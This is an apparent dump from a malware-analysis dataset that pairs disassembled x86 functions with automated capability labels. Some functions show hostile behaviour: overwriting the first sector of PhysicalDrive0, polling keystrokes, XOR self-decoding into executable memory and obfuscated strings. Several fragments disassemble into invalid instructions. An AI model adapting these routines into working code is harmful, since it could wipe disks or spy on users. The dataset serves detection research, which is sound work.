joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00407290
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00407290
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00407290
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00407290
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00407290
mov dword [0x41203c], eax
call fcn.00407290
test eax, eax
jge 0x402550
push 8
call fcn.00407290
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00407290
pop ecx
push 1
call fcn.00407290
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00407290
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00407290
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00407290
jmp 0x402495

Function at 0x407290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40729f
pop dword [ebp - 0x20]
mov eax, 0xbb762b24
sub eax, 0xbb35b885
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x35cac
push 0
mov eax, 0x8139f7b3
add eax, 0x7f06e925
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x2366e86
sub ecx, 0x236347c
mov ebx, eax
mov esi, 0x6fdd3cfb
add esi, 0x9063fec9
add esi, dword [ebp - 0x20]
mov edi, 0xb02325a8
add edi, 0x56a0c6e8
xor dword [ebp - 8], 0xdfb5cbb4
mov edx, dword [esi]
add dword [ebp - 4], ecx
sub edx, edi
xor dword [ebp - 0x1c], edx
mov dword [ebx], edx
add ebx, 4
add esi, 0x6f508b7c
sub esi, 0x6f508b78
loop 0x4072fe
add eax, 0x3a2f1e41
add eax, 0xc5d1bcba
mov ebx, eax
add eax, 5
mov ecx, 0xb33697c7
sub ecx, 0xb2f697c7
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40bf8c], 1
mov dword [0x40bf90], 1
mov dword [0x40bf94], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x4016da
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 1
jne 0x40171f
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MessageBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], str.new_text_layer
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 0
je 0x40171f
cmp dword [ebp - 0x10], 0
je 0x401838
mov dword [ebp - 0x38], 0x73696874
mov dword [ebp - 0x34], 0x72747320
mov dword [ebp - 0x30], 0x20676e69
mov dword [ebp - 0x2c], 0x6c6c6977
mov dword [ebp - 0x28], 0x20656220
mov dword [ebp - 0x24], 0x62726167
mov dword [ebp - 0x20], 0x20656761
mov dword [ebp - 0x1c], 0x74657270
mov dword [ebp - 0x18], 0x73207974
mov dword [ebp - 0x14], 0x6e6f6f
mov byte [ebp - 0x38], 0
mov dword [ebp - 0xc], 0
jmp 0x401805
call sym._rand
mov edx, eax
mov ecx, 0xffffffaf
mov eax, ecx
imul dl
shr ax, 8
add eax, edx
sar al, 6
mov ecx, edx
sar cl, 7
sub eax, ecx
mov ecx, 0x5e
imul eax, ecx
mov ecx, eax
mov eax, edx
sub eax, ecx
movsx eax, al
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070b6
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x25
jle 0x4017af
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetWindowTextA]
call eax
sub esp, 8
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x40175c
nop
leave
ret 4
Function at 0x402f46
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x40000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
jmp 0x402fb1

Function at 0x4044b4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x405088
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4050a7
mov eax, 0
jmp 0x4050eb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x4050ca
mov eax, 0
jmp 0x4050eb
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4050e6
mov eax, 0
jmp 0x4050eb
mov eax, 1
leave
ret

Function at 0x4050ed
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40514c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x405144
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x405144
mov eax, dword [ebp - 4]
jmp 0x405160
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x405121
mov eax, 0
leave
ret
Function at 0x401a19
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec edx
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004015d9
push eax
push esi
push dword [ebp + 8]
call fcn.0040158e
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004015c9
jnp 0x401aae
and al, 0xce
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
jmp 0xffbfb7ea
invalid
inc esi
inc ebp
adc byte [ecx - 0x3a], 0x45
xor dword [ebx - 0x3a], 0xc6628245
inc ebp
sbb dword [ebx - 0x3a], 0x45
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.004015c9
into
jle 0x401abe
mov al, 0x8d
test dword [edi + edi*8 - 1], edi
call dword [eax - 0x18]
sbb al, 0xfb
invalid
push esi
push dword [ebp + 8]
call fcn.0040158e
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
dec dword [ebx + 0xff33bf0]
test bh, dl
add al, byte [eax]
invalid
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0040153a
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x401b39
Function at 0x40b728
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b749
mov al, byte [esp]
jmp 0x40b74b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x419920
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x419926
ret

Function at 0x41c0b8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41c109
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41c0f0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41c0e0
jmp 0x41c109
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41c0f1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x446b68
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4b87e0
cmp dword [edi], 0
jne 0x446be4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4b87dc]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4b59e0
mov ecx, 2
call fcn.004028ec
mov edx, 0x446b40
lea eax, [esi + 5]
call fcn.00446b60
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00446b60
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x446bb9
mov dword [0x4b87dc], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x446d08
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x446d58]
test si, 4
je 0x446d1c
or bl, 1
test si, 8
je 0x446d26
or bl, 4
test si, 1
je 0x446d30
or bl, 8
test si, 2
je 0x446d3a
or bl, 0x10
test si, 0x10
je 0x446d44
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446d53
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x446d5c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x446d94]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446d75
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446d84
or bl, 4
test esi, 0x20000000
je 0x446d8f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44b2e4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
test dword [ebp + 0x26fffffc], ebx
Function at 0x478aa0
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
xor ebx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x478c04
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00478a70
xor eax, eax
push ebp
push 0x478be2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x478b0a
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x478b0a
lea eax, [ebp - 0x10]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x478bcc
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x478b1d
call fcn.00403740
jmp 0x478be9
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x478bcc
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x2733
je 0x478bcc
lea eax, [ebp - 0x14]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xfffe
call fcn.00403190
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x14], 0
je 0x478bcc
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
call fcn.0040b690
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
mov eax, 0x478c1c
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0xb
lea eax, [ebp - 0x2c]
push eax
push 2
lea edx, [ebp - 0x34]
mov eax, dword [0x4b7238]
call fcn.00405e7c
mov ecx, dword [ebp - 0x34]
mov dl, 1
mov eax, dword [0x478a14]
call fcn.0040beb8
call fcn.004036a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x478be9
mov eax, dword [ebp - 4]
call fcn.00478a88
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x478c0b
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00403bcc
ret
Function at 0x47aa80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov ebx, dword [eax + 0x1ec]
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x47ac23
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov edx, dword [eax + 0x224]
mov eax, dword [ebx + 0x10]
call fcn.0041ab64
cmp byte [ebp + 8], 0
je 0x47aad9
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [ebx + 0x10]
call fcn.0041aa34
jmp 0x47aae7
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 8]
mov eax, dword [ebx + 0x10]
call fcn.0041aa34
mov eax, dword [ebx + 0x10]
call fcn.0041ab5c
dec eax
jle 0x47ab2d
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebx + 0x10]
call fcn.0041aa2c
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
push 0
push 0
lea eax, [ebp - 0x24]
push eax
mov edi, dword [ebx + 0x10]
mov eax, edi
call fcn.0041ab5c
push eax
push 0x12200
call sub.gdi32.dll_ExtCreatePen
mov edx, eax
mov eax, edi
call fcn.0041aaf4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov edi, dword [eax - 8]
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebx + 0x28]
call dword [ebx + 0x24]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov edx, dword [edx + esi*4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
shr ecx, 1
add edx, ecx
add eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov bx, 0xffcf
call fcn.00403190
test al, al
je 0x47ab76
test esi, esi
jne 0x47ab76
inc dword [ebp - 0xc]
mov eax, esi
xor eax, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov edx, dword [edx + eax*4]
mov dword [ebp - 0x14], edx
add eax, 2
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x18], eax
lea eax, [esi + 2]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 4]
add eax, dword [edx]
mov dword [ebp - 0x10], eax
xor ebx, ebx
lea eax, [esi + ebx]
mov edx, dword [ebp - 0xc]
mov dword [edi + eax*4], edx
mov eax, esi
xor eax, 1
mov edx, eax
add edx, ebx
mov ecx, dword [ebp - 0x14]
mov dword [edi + edx*4], ecx
add ebx, 2
lea edx, [esi + ebx]
mov ecx, dword [ebp - 0xc]
mov dword [edi + edx*4], ecx
add eax, ebx
mov edx, dword [ebp - 0x18]
mov dword [edi + eax*4], edx
add ebx, 2
inc dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + 0x28]
call dword [ecx + 0x24]
mov edx, dword [ebp - 4]
add eax, dword [edx]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jle 0x47abac
shr ebx, 2
push ebx
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 0xc]
push eax
push edi
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x1ec]
call fcn.0041b6d0
push eax
call sub.gdi32.dll_PolyPolyline
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x48ed33
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4b6b4e
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x48ed8b
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x4b6b6f
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x48ed81
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x48ed8f
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x4af87c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403fe8
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
setne al
pop ebx
ret

Function at 0x4b21fc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fd8
mov eax, dword [ebp - 8]
call fcn.00403fd8
mov eax, dword [ebp - 0xc]
call fcn.00403fd8
xor eax, eax
push ebp
push 0x4b22cb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4b22e4
call fcn.00403e2c
lea eax, [ebp - 8]
mov edx, 0x4b22e4
call fcn.00403e2c
lea eax, [ebp - 0xc]
mov edx, 0x4b22e4
call fcn.00403e2c
mov bl, 1
push 1
lea eax, [ebp - 0xc]
call fcn.00403ff4
push eax
lea eax, [ebp - 8]
call fcn.00403ff4
push eax
lea eax, [ebp - 4]
call fcn.00403ff4
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jae 0x4b22b0
xor ebx, ebx
push 0
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, 0x4b22f0
call fcn.00403e70
mov eax, dword [ebp - 0x10]
mov cx, word [0x4b2304]
mov dl, 1
call fcn.00456a60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b22d2
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403bcc
ret
Function at 0x1002ef0b
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x1002ef46
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x1002ef2d
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x1002ef3e
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x1002ef48
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1002ef23
xor eax, eax
pop edi
pop esi
ret

Function at 0x1002f17b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.1002eecb
jp 0x1002f1a5
enter 0xffffffffffff8d90, 0x45
test al, 0x50
call fcn.1002eedb
dec dword [ebx + 0x56500c75]
push dword [ebp + 8]
call fcn.1002ee90
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test dword [edi + edi*8 - 1], esi
dec dword [ebx - 0xe0807bb]
test edx, edx
je 0x1002f1b9
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.1002eecb
jg 0x1002f21a
jl 0x1002f1a0
lea eax, [ebp - 0x40]
push eax
call fcn.1002eedb
push eax
push esi
push dword [ebp + 8]
call fcn.1002ee90
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.1002eecb
iretd
or al, ch
jo 0x1002f21a
invalid

Function at 0x1002f349
Capabilities:
Contain obfuscated stackstrings

Disassembly:
aam 0x65
or al, 0x55
mov byte [ebp - 0x84], bl
jl 0x1002f350
invalid
dec dword [eax - 0x8263]
invalid
invalid
inc esi
test dword [esi - 1], edi

Function at 0x1002f376
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
invalid
inc ebp

Function at 0x1002f418
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
ror dword [ebx + 0x408b1448], 0xc
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.1002ee3c
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x1002f408
invalid
Function at 0x1002f42a
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
